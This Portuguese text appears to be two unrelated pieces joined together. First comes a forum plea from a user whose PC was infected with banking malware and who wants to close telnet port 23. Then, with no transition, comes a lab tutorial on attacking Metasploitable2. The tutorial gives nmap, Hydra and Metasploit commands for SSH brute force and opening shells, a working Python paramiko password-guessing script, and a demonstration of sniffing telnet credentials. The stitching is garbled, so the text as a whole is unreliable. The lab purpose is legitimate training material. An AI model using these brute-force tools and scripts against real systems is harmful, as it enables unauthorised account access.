fala galera,
seguinte:
ultimamente meu pc andava muito lento, tanto pra iniciar como pra mecher, como andei baixando um monte de baboseira em busca de filmes em alta definição...
achei que isto fosse o problema...
ao deletar esta porcariada toda e ao passar anti-virus ele achou algumas pragas e tal, movi para quarentena e depois exclui...
porém, o pc continuava muito lento...
vi que em "processos" tinha uns negocio entranhos rodando, e ao persegui-los encontrei 3 pastas nem me lembro onde que, dentro continha arquivos .exe com nomes de bancos e tal, bancos que nem tenho contas ou contatos...
passei os arquivos em um site onde o mesmo arquivo é analisado por mais de 10 antivirus e 4 dos antivirus identificaram o arquivo como sendo "banker", ñ sei como se escreve, sei que é o programinha que rouba senha né????
deletei os arquivos, reiniciei pc, passei antivirus, não achou mais nada, os processos estão todos dentro do normal(todos processos em execução são conhecidos)... BELEZA
agora instalei
antivirus AVAST 4.8
Antispy/malware AD AWARE 2009
firewall COMODO 3.12
lembrando que meu Ruindows é original XP SP3
porem ao fazer testes no site da symantec acusa que minha porta 23 TELNET esta aberta, não consigo fecha-la de jeito nenhum, ja tentei tudo, revirei google e foruns de informatica, existem varios topicos mas eles sempre terminam sem resposta...
ja fiz tanta coisa pra fechar que nem lembro, quem tiver dica favor postar pra eu "lembrar" se ja fiz, pq foram tantas que não lembro mais... rsrs
minha conexão é speedy/terra, modem dlink 500g + router Encore-SG wireless
help-me
O SSH (Secure Shell) é um protocolo que fornece conexão criptografada entre uma rede segura e uma rede insegura, neste cenário da metasploitable, na porta TCP 22, é utilizado para fazer login na máquina alvo de forma segura. O protocolo de login na máquina utilizando ssh pode utilizar password e/ou pubilc key, informações que vamos enumerar mais adiante.
Enumeração
Assim como o serviço de FTP, temos mais de uma forma de enumerar o serviço de ssh, para fins de agilidade, vamos utilizar o netcat.
nc 192.168.1.8 22Serviço: SSH-2.0-OpenSSH_4.7p1
Tipos de autenticação
Identificar os tipos de autenticação que o host permite é importante para determinarmos o nível de segurança que enfrentaremos, basicamente os dois mais comuns são “password” e “public key” sendo este ultimo, um pouco mais trabalhoso para quebrar.
Para identificarmos, temos algumas ferramentas, sendo a mais simples, um script a ser usado com o nmap.
Podemos pesquisar no diretório de scripts nmap:
Scripts nmap — ssh
Vamos fazer uma varredura na porta 22 com o script “ssh-auth-methods”
nmap -v -p22 --script=ssh-auth-methods -Pn 192.168.1.8O host permite autenticação tanto com senha quanto chave publica, o que mostra uma falha de configuração, uma vez que a opção “password” está ativa, nos permite uma tentativa de força bruta.
Brute force
Realizar brute force em serviço SSH é um pouco mais delicado e lento, pois é muito fácil sobrecarregar o serviço, então os intervalos entre as tentativas são maiores, além de que, dependendo da configuração, o serviço de SSH limita a quantidade de tasks paralelas.
Para realizar o nosso brute force, precisamos de duas wordlists, uma de usuários e outra de senhas, lembrando que quanto maior as wordlists, mais demorado o ataque será.
Conforme o artigo anterior, conseguimos enumerar uma lista de usuários reais do alvo, o que nos permite diminuir consideravelmente as tentativas, como wordlist de senhas, preparei uma wordlist pequena para não levar tanto tempo.
Brute force com nmap
Como vimos na listagem de scripts SSH do nmap, existe o script “ssh-brute”. Este script por sí só, já faz um brute com uma wordlist padrão, porém ele também nos permite configurar os argumentos de wordlist de usuários e senhas.
O Kali linux tem um grande arsenhal de wordlists no diretódio “/usr/share/wordlists/”. No nosso experimento vamos utilizar duas wordlists:
nmap -v -p22 --script=ssh-brute --script-args='userdb=usuarios.txt,passdb=senhas.txt' -Pn 192.168.1.8usuarios.txt: wordlist de usuários gerada após a exploração do FTP
senhas.txt: wordlist pequena derivada da rockyou.txt
Onde:
— script-args=: são os argumentos de base de usuários e senhas
Usuários encontrados
Também é possível alterar o timeout do script, para deixá-lo um pouco mais lento e “afinar” o nmap de acordo com as configurações do host, porém, no caso da metasploitable2 com o tempo padrão foi possível enumerar 6 senhas válidas.
Brute force com Hydra
Hydra é outra ferramenta muito útil em brute forcce, ele consegue efetuar brute force em inuúmeros serviços, vamos usá-lo:
Onde:
-L: parâmetro para informar a wordlist de usuários
-P: parâmetro para informar a wordlist de senhas
-t: quantidade de tasks simultâneas no brute, padrão é 16, mas vamos diminuir para 4
Usuários encontrados com Hydra
Novamente, pudemos encontrar a senha de 6 usuários.
Brute force com Metasploit-Framework
O Metasploit também tem módulos auxiliares para escaneamento e enumeração, existe um módulo auxiliar específico para brute em ssh.
search ssh_login
use auxiliary/scanner/ssh/ssh_login
show options
Módulo de brute em ssh
Vamos preencher as opções necessárias
set RHOSTS 192.168.1.8set PASS_FILE usuarios.txt
set USER_FILE senhas.txt
run
Sessões abertas com usuários encontrados
O metasploit não só encontrou as senhas, como validou e abriu sessões de shell com o usuários, para exibir as sessões, utilizamos “sessions -l”:
sessions -lListagens de sessões
Para interagirmos uma sessão, usamos o comando “sessions -i <id da sessão>”.
sessions -i 6Sessão aberta com o usuário “user”
Temos sessões diferentes com usuários diferentes e permissões diferentes. Com privilégios baixos, podemos tentar escalar e conseguir um acesso root.
Criando um script para bruteforce de SSH
O Python possui várias bibliotecas úteis no que diz respeito de conexão, para tanto, é possível criar nosso próprio script básico para bruteforce, uma vez que sabemos o host, um usuário válido e tenhamos uma wordlist de senhas. Vamos utilizar a biblioteca “paramiko”.
import paramiko
import sys# script para mostrar modo de uso
if len(sys.argv) != 4:
print ("\nModo de uso: python3 %s host username wordlist"%(sys.argv[0]))
print ("\nExemplo: python3 %s 192.168.1.8 msfadmin wordlist.txt"%(sys.argv[0]))
sys.exit()# iniciando conexão com SSH
conexao = paramiko.SSHClient()
conexao.load_system_host_keys()
policy = paramiko.AutoAddPolicy()
conexao.set_missing_host_key_policy(policy)
print ("\nBruteforce em andamento...\n")with open(sys.argv[3]) as wl:
for pwd in wl.readlines():
pwd = pwd.strip() try:
conexao.connect(sys.argv[1], username=sys.argv[2], password=pwd, port=22) except paramiko.ssh_exception.AuthenticationException:
print ('Tentando: %s:%s'%(sys.argv[2],pwd))
else:
print ('\nSenha encontrada -------------> %s:%s'%(sys.argv[2],pwd))
breakconexao.close()
Ao executarmos o script seguido do host, username e endereço da wordlist, iniciamos o bruteforce.
ls /usr/share/nmap/scripts | grep ssh0Bruteforce com python
Percebemos que o serviço de SSH na porta TCP 22 do alvo tem uma vulnerabilidade muito conhecida que é a de permitir acesso por password e senhas fracas. A partir dessas vulnerabilidades, podemos explorar profundamente o host alvo.
PORTA 23 TELNET
Telnet é um protocolo que estabelece uma conexão entre 2 hosts. É um protocolo muito inseguro por si só, pois transita dados em texto claro sem qualquer tipo de criptografia.
Vamos utilizar o Wireshark para monitorarmos a conexão e utilizar o telnet para nos autenticar no host alvo com qualquer um dos usuários que exploramos.
ls /usr/share/nmap/scripts | grep ssh1Autenticação com usuário “sys” e senha “batman”
Ao nos conectarmos com telnet, o banner da máquina alvo é carregado e nos pede um usuário e senha, após a autenticação, temos uma shell normalmente, mas vamos seguir o stream TCP com wireshark para vermos.
Captura de tráfego com Wireshark
Como podemos ver, não há criptografia na comunicação, tanto usuário quanto senha puderam ser capturados no monitoramento.